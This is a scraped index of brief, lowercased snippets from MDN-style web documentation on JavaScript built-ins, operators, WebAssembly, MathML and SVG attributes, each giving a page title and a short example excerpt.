Uint16Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint16Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint32Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint32Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint8Array() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint8Array - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint8ClampedArray() constructor - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
Uint8ClampedArray - JavaScript
once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).
WeakMap() constructor - JavaScript
examples using weakmap const wm1 = new weakmap(), wm2 = new weakmap(), wm3 = new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects.
WeakMap.prototype.clear() - JavaScript
syntax wm.clear(); examples using the clear method var wm = new weakmap(); var obj = {}; wm.set(obj, 'foo'); wm.set(window, 'bar'); wm.has(obj); // true wm.has(window); // true wm.clear(); wm.has(obj) // false wm.has(window) // false specifications not part of any standard.
WeakMap.prototype.delete() - JavaScript
examples using the delete method var wm = new weakmap(); wm.set(window, 'foo'); wm.delete(window); // returns true.
WeakMap.prototype.get() - JavaScript
examples using the get method var wm = new weakmap(); wm.set(window, 'foo'); wm.get(window); // returns "foo".
WeakMap.prototype.has() - JavaScript
examples using the has method var wm = new weakmap(); wm.set(window, 'foo'); wm.has(window); // returns true wm.has('baz'); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.has' in that specification.
WeakMap.prototype.set() - JavaScript
examples using the set method var wm = new weakmap(); var obj = {}; // add new elements to the weakmap wm.set(obj, 'foo').set(window, 'bar'); // chainable // update an element in the weakmap wm.set(obj, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.set' in that specification.
WeakRef.prototype.deref() - JavaScript
examples using deref see the examples section of the weakref page for the complete example.
WeakSet() constructor - JavaScript
examples using the weakset object var ws = new weakset(); var foo = {}; var bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar.
WeakSet.prototype.add() - JavaScript
examples using add var ws = new weakset(); ws.add(window); // add the window object to the weakset ws.has(window); // true // weakset only takes objects as arguments ws.add(1); // results in "typeerror: invalid value used in weak set" in chrome // and "typeerror: 1 is not a non-null object" in firefox specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.
WeakSet.prototype.clear() - JavaScript
syntax ws.clear(); examples using the clear method var ws = new weakset(); ws.add(window); ws.has(window); // true ws.clear(); ws.has(window); // false specifications not part of any standard.
WeakSet.prototype.delete() - JavaScript
examples using the delete method var ws = new weakset(); var obj = {}; ws.add(window); ws.delete(obj); // returns false.
WeakSet.prototype.has() - JavaScript
examples using the has method var ws = new weakset(); var obj = {}; ws.add(window); myset.has(window); // returns true myset.has(obj); // returns false specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.has' in that specification.
WebAssembly.Instance.prototype.exports - JavaScript
instance.exports examples using exports after fetching some webassembly bytecode using fetch, we compile and instantiate the module using the webassembly.instantiatestreaming() function, importing a javascript function into the webassembly module in the process.
WebAssembly.Instance - JavaScript
st importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = new webassembly.module(bytes); let instance = new webassembly.instance(mod, importobject); instance.exports.exported_func(); }) the preferred way to get an instance is asynchronously, for example using the webassembly.instantiatestreaming() function like this: const importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); this also demonstrates how the exports property is used to access exported functions.
WebAssembly.Memory() constructor - JavaScript
the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
WebAssembly.Memory.prototype.buffer - JavaScript
examples using buffer the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
WebAssembly.Memory.prototype.grow() - JavaScript
examples using grow the following example creates a new webassembly memory instance with an initial size of 1 page (64kib), and a maximum size of 10 pages (640kib).
WebAssembly.Memory - JavaScript
the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
WebAssembly.Module.imports() - JavaScript
examples using imports the following example (see imports.html source code; see it live also) compiles the loaded simple.wasm module.
WebAssembly.Table() constructor - JavaScript
var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
WebAssembly.Table.prototype.get() - JavaScript
examples using get the following example (see table.html on github, and view it live also) compiles and instantiates the loaded table.wasm byte code using the webassembly.instantiatestreaming() method.
WebAssembly.Table.prototype.grow() - JavaScript
examples using grow the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10.
WebAssembly.Table.prototype.length - JavaScript
syntax table.length; examples using length the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10.
WebAssembly.Table - JavaScript
var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null" we then create an import object that contains the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming() method.
WebAssembly.compile() - JavaScript
examples using compile the following example compiles the loaded simple.wasm byte code using the compile() function and then sends it to a worker using postmessage().
WebAssembly.compileStreaming() - JavaScript
var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.compilestreaming(fetch('simple.wasm')) .then(module => webassembly.instantiate(module, importobject)) .then(instance => instance.exports.exported_func()); the resulting module instance is then instantiated using webassembly.instantiate(), and the exported function invoked.
WebAssembly.validate() - JavaScript
examples using validate the following example (see the validate.html source code, and see it live too) fetches a .wasm module and converts it into a typed array.
WebAssembly - JavaScript
description the primary uses for the webassembly object are: loading webassembly code, using the webassembly.instantiate() function.
isFinite() - JavaScript
examples using isfinite isfinite(infinity); // false isfinite(nan); // false isfinite(-infinity); // false isfinite(0); // true isfinite(2e64); // true isfinite(910); // true isfinite(null); // true, would've been false with the // more robust number.isfinite(null) isfinite('0'); // true, would've been false with the // more robu...
isNaN() - JavaScript
confusing special-case behavior since the very earliest versions of the isnan function specification, its behavior for non-numeric arguments has been confusing.
parseFloat() - JavaScript
if this argument is not a string, then it is converted to one using the tostring abstract operation.
undefined - JavaScript
the global scope is bound to the global object, so checking the existence of a variable in the global context can be done by checking the existence of a property on the global object, using the in operator, for instance: if ('x' in window) { // these statements execute only if x is defined globally } void operator and undefined the void operator is a third alternative.
unescape() - JavaScript
examples using unescape unescape('abc123'); // "abc123" unescape('%e4%f6%fc'); // "äöü" unescape('%u0107'); // "ć" specifications specification ecmascript (ecma-262)the definition of 'unescape' in that specification.
uneval() - JavaScript
examples using uneval var a = 1; uneval(a); // returns a string containing 1 var b = '1'; uneval(b); // returns a string containing "1" uneval(function foo() {}); // returns "(function foo(){})" var a = uneval(function foo() { return 'hi'; }); var foo = eval(a); foo(); // returns "hi" specifications not part of any standard.
Addition assignment (+=) - JavaScript
syntax operator: x += y meaning: x = x + y examples using addition assignment // assuming the following variables // foo = 'foo' // bar = 5 // baz = true // number + number -> addition bar += 2 // 7 // boolean + number -> addition baz += 1 // 2 // boolean + boolean -> addition baz += false // 1 // number + string -> concatenation bar += 'foo' // "5foo" // string + boolean -> concatenation foo += false // "foofalse" // string + string -> concat...
Bitwise AND (&) - JavaScript
examples using bitwise and // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 5 & 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'bitwise and expression' in that specification.
Bitwise AND assignment (&=) - JavaScript
syntax operator: x &= y meaning: x = x & y examples using bitwise and assignment let a = 5; // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 a &= 2; // 0 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise OR (|) - JavaScript
examples using bitwise or // 9 (00000000000000000000000000001001) // 14 (00000000000000000000000000001110) 14 | 9; // 15 (00000000000000000000000000001111) specifications specification ecmascript (ecma-262)the definition of 'bitwise or expression' in that specification.
Bitwise OR assignment (|=) - JavaScript
syntax operator: x |= y meaning: x = x | y examples using bitwise or assignment let a = 5; a |= 2; // 7 // 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 // ----------------------------------- // 7: 00000000000000000000000000000111 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Bitwise XOR (^) - JavaScript
examples using bitwise xor // 9 (00000000000000000000000000001001) // 14 (00000000000000000000000000001110) 14 ^ 9; // 7 (00000000000000000000000000000111) specifications specification ecmascript (ecma-262)the definition of 'bitwise xor expression' in that specification.
Bitwise XOR assignment (^=) - JavaScript
syntax operator: x ^= y meaning: x = x ^ y examples using bitwise xor assignment let a = 5; // 00000000000000000000000000000101 a ^= 3; // 00000000000000000000000000000011 console.log(a); // 00000000000000000000000000000110 // 6 let b = 5; // 00000000000000000000000000000101 b ^= 0; // 00000000000000000000000000000000 console.log(b); // 00000000000000000000000000000101 // 5 specifications specification ...
Division assignment (/=) - JavaScript
syntax operator: x /= y meaning: x = x / y examples using division assignment // assuming the following variable // bar = 5 bar /= 2 // 2.5 bar /= 'foo' // nan bar /= 0 // infinity specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Exponentiation assignment (**=) - JavaScript
syntax operator: x **= y meaning: x = x ** y examples using exponentiation assignment // assuming the following variable // bar = 5 bar **= 2 // 25 bar **= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Greater than (>) - JavaScript
syntax x > y description the operands are compared using the abstract relational comparison algorithm.
Greater than or equal (>=) - JavaScript
syntax x >= y description the operands are compared using the abstract relational comparison algorithm.
Grouping operator ( ) - JavaScript
examples using the grouping operator overriding multiplication and division first, then addition and subtraction to evaluate addition first.
Left shift (<<) - JavaScript
examples using left shift 9 << 3; // 72 // 9 * (2 ** 3) = 9 * (8) = 72 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Left shift assignment (<<=) - JavaScript
syntax operator: x <<= y meaning: x = x << y examples using left shift assignment let a = 5; // 00000000000000000000000000000101 bar <<= 2; // 20 // 00000000000000000000000000010100 specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Less than (<) - JavaScript
syntax x < y description the operands are compared using the abstract relational comparison algorithm, which is roughly summarised below: first, objects are converted to primitives using symbol.toprimitive.
Less than or equal (<=) - JavaScript
syntax x <= y description the operands are compared using the abstract relational comparison algorithm.
Logical NOT (!) - JavaScript
examples using not the following code shows examples of the !
Multiplication (*) - JavaScript
syntax operator: x * y examples multiplication using numbers 2 * 2 // 4 -2 * 2 // -4 multiplication with infinity infinity * 0 // nan infinity * infinity // infinity multiplication with non-numbers 'foo' * 2 // nan specifications specification ecmascript (ecma-262)the definition of 'multiplication operator' in that specification.
Multiplication assignment (*=) - JavaScript
syntax operator: x *= y meaning: x = x * y examples using multiplication assignment // assuming the following variable // bar = 5 bar *= 2 // 10 bar *= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Nullish coalescing operator (??) - JavaScript
rightexpr examples using the nullish coalescing operator in this example, we will provide default values but keep values other than null or undefined.
Remainder assignment (%=) - JavaScript
syntax operator: x %= y meaning: x = x % y examples using remainder assignment // assuming the following variable // bar = 5 bar %= 2 // 1 bar %= 'foo' // nan bar %= 0 // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Right shift (>>) - JavaScript
-9 (base 10): 11111111111111111111111111110111 (base 2) -------------------------------- -9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10) examples using right shift 9 >> 2; // 2 -9 >> 2; // -3 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Right shift assignment (>>=) - JavaScript
syntax operator: x >>= y meaning: x = x >> y examples using right shift assignment let a = 5; // (00000000000000000000000000000101) a >>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>= 2; // -2 (-00000000000000000000000000000010) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Subtraction assignment (-=) - JavaScript
syntax operator: x -= y meaning: x = x - y examples using subtraction assignment // assuming the following variable // bar = 5 bar -= 2 // 3 bar -= 'foo' // nan specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
Unary plus (+) - JavaScript
using the operator on bigint values throws a typeerror.
Unsigned right shift (>>>) - JavaScript
-9 (base 10): 11111111111111111111111111110111 (base 2) -------------------------------- -9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10) examples using unsigned right shift 9 >>> 2; // 2 -9 >>> 2; // 1073741821 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Unsigned right shift assignment (>>>=) - JavaScript
syntax operator: x >>>= y meaning: x = x >>> y examples using unsigned right shift assignment let a = 5; // (00000000000000000000000000000101) a >>>= 2; // 1 (00000000000000000000000000000001) let b = -5; // (-00000000000000000000000000000101) b >>>= 2; // 1073741822 (00111111111111111111111111111110) specifications specification ecmascript (ecma-262)the definition of 'assignment operators' in that specification.
async function expression - JavaScript
you can also define async functions using an async function statement.
class expression - JavaScript
// re-declaration is allowed typeof foo; // returns "function" typeof class {}; // returns "function" foo instanceof object; // true foo instanceof function; // true class foo {} // throws syntaxerror (class declarations do not allow re-declaration) examples a simple class expression this is just a simple anonymous class expression which you can refer to using the variable foo.
function* expression - JavaScript
examples using function* the following example defines an unnamed generator function and assigns it to x.
in operator - JavaScript
let color1 = new string('green') 'length' in color1 // returns true let color2 = 'coral' // generates an error (color2 is not a string object) 'length' in color2 using in with deleted or undefined properties if you delete a property with the delete operator, the in operator returns false for that property.
new operator - JavaScript
you can add a shared property to a previously defined object type by using the function.prototype property.
yield - JavaScript
examples using yield the following code is the declaration of an example generator function.
Expressions and operators - JavaScript
[a, b] = [1, 2] {a, b} = {a:1, b:2} destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.
empty - JavaScript
the opposite behavior, where you want multiple statements, but javascript only allows a single one, is possible using a block statement, which combines several statements into a single one.
block - JavaScript
the opposite behavior is possible using an empty statement, where you provide no statement, although one is required.
const - JavaScript
constants are block-scoped, much like variables defined using the let keyword.
debugger - JavaScript
syntax debugger; examples using the debugger statement the following example shows code where a debugger statement has been inserted, to invoke a debugger (if one exists) when the function is called.
do...while - JavaScript
examples using do...while in the following example, the do...while loop iterates at least once and reiterates until i is no longer less than 5.
for...in - JavaScript
examples using for...in the for...in loop below iterates over all of the object's enumerable, non-symbol properties and logs a string of the property names and their values.
function* - JavaScript
you can also define generator functions using the generatorfunction constructor, or the function expression syntax.
if...else - JavaScript
for example: var b = new boolean(false); if (b) // this condition is truthy examples using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascript.
import.meta - JavaScript
examples using import.meta given a module my-module.js <script type="module" src="my-module.js"></script> you can access meta information about the module using the import.meta object.
while - JavaScript
examples using while the following while loop iterates as long as n is less than three.
Statements and declarations - JavaScript
label provides a statement with an identifier that you can refer to using a break or continue statement.
display - Web app manifests
note: you can selectively apply css to your app based on the display mode, using the display-mode media feature.
Web app manifests
: "images/touch/homescreen168.png", "sizes": "168x168", "type": "image/png" }, { "src": "images/touch/homescreen192.png", "sizes": "192x192", "type": "image/png" }], "related_applications": [{ "platform": "play", "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should return content-type: application/manifest+json).
<mlabeledtr> - MathML
the mathml <mlabeledtr> element is used to represent a label in a row either on the left or on the right side (determined using the side attribute on the <mtable> element).
<ms> - MathML
WebMathMLElementms
by default, string literals are displayed as enclosed by double quotes (&quot;); by using the lquote and rquote attributes, you can set custom characters to display.
<mstyle> - MathML
WebMathMLElementmstyle
examples using displaystyle and mathcolor to effect style changes in the layout of the whole sum.
MathML
mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla — javascript latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web pages web equation - turn handwritten equations into mathml or latex mathjax - cross-browser javascript display engine for mathematics.
OpenSearch description format
your server should serve opensearch plugins using content-type: application/opensearchdescription+xml.
Populating the page: how browsers work - Web Performance
if you’ve ever heard of the 14kb rule for initial page load, tcp slow start is the reason why the initial response is 14kb, and why web performance optimization calls for focusing optimizations with this initial 14kb response in mind.
Lazy loading - Web Performance
it is possible to override the default behaviour and preload web font resources using <link rel="preload">, the css font-display property, and the font loading api.
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
rum, on the other hand, provides real metrics from real users using the site or application.
PWA developer guide - Progressive web apps (PWAs)
using service workers to run offline description alerting the user using notifications description creating a web app from an existing site description advanced topics pushing data from the server to your web application some description resource management description integration with the host device description security and privacy description gaming topics for web app developers d...
Web technology reference
html provides a means to create structured documents made up of blocks called html elements that are delineated by tags, written using angle brackets.
accent-height - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> font-face for <font-face>, accent-height defines the distance from the origin to the top of accent characters, measured by a distance within the font coordinate system.
accumulate - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the previous iteration.
additive - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value replace | sum default value replace animatable no sum specifies that the animation will add to the underlying value of the attribute and other lower priority animations.
alphabetic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value 0 animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'alphabetic' in that specification.
amplitude - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'amplitude' in that specification.
arabic-form - SVG: Scalable Vector Graphics
only one element is using this attribute: <glyph> context notes value initial | medial | terminal | isolated default value isolated animatable no initial this value indicates that the glyph represents the initial form.
ascent - SVG: Scalable Vector Graphics
WebSVGAttributeascent
only one element is using this attribute: <font-face> font-face for <font-face>, ascent defines the maximum unaccented height of the font within the font coordinate system.
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default val...
baseFrequency - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value ...
baseProfile - SVG: Scalable Vector Graphics
only one element is using this attribute: <svg> context notes value profile name default value none animatable no example <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg" baseprofile="full"> ...
bbox - SVG: Scalable Vector Graphics
WebSVGAttributebbox
only one element is using this attribute: <font-face> usage notes value <string> default value none animatable no <string> a comma-separated list of exactly four numbers specifying, in order, the lower left x, lower left y, upper right x, and upper right y of the bounding box for the complete font.
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will...
calcMode - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value discrete | linear | paced | spline default value linear animatable no discrete this specifies that the animation function will jump from one value to the next without any interpolation.
cap-height - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'cap-height' in that specification.
clipPathUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <clippath> html,body,svg { height:100% } <svg viewbox="0 0 100 100"> <clippath id="myclip1" clippathunits="userspaceonuse"> <circle cx="50" cy="50" r="35" /> </clippath> <clippath id="myclip2" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".35" /> </clippath> <!-- some reference rect to materialized to clip path --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are clipped with usespaceonuse units --> ...
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
descent - SVG: Scalable Vector Graphics
WebSVGAttributedescent
only one element is using this attribute: <font-face> usage notes value <number> default value value of vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'descent' in that specification.
diffuseConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fediffuselighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="60"...
direction - SVG: Scalable Vector Graphics
for other cases, such as when using right-to-left languages, it may be sufficient to add the direction attribute to the outermost <svg> element, and allow that direction to inherit to all text elements: note: as a presentation attribute, direction can be used as a css property.
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> ...
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value specifi...
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
seven elements are using this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as of...
edgeMode - SVG: Scalable Vector Graphics
two elements are using this attribute: <feconvolvematrix> and <fegaussianblur> feconvolvematrix for <feconvolvematrix>, edgemode determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image.
elevation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> <...
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> usage notes default value none value <end-value-list> animatable no the <end-value-list> is a semicolon-separated list of values.
exponent - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfer> ...
externalResourcesRequired - SVG: Scalable Vector Graphics
this attribute applies to all types of resource references, including style sheets, color profiles and fonts specified by a reference using a <font-face> element or a css @font-face specification.
filterRes - SVG: Scalable Vector Graphics
only one element is using this attribute: <filter> usage notes value <number-optional-number> default value none animatable yes <number-optional-number> this value takes one or two values, the first one outlining the resolution in horizontal direction, the second one in vertical direction.
filterUnits - SVG: Scalable Vector Graphics
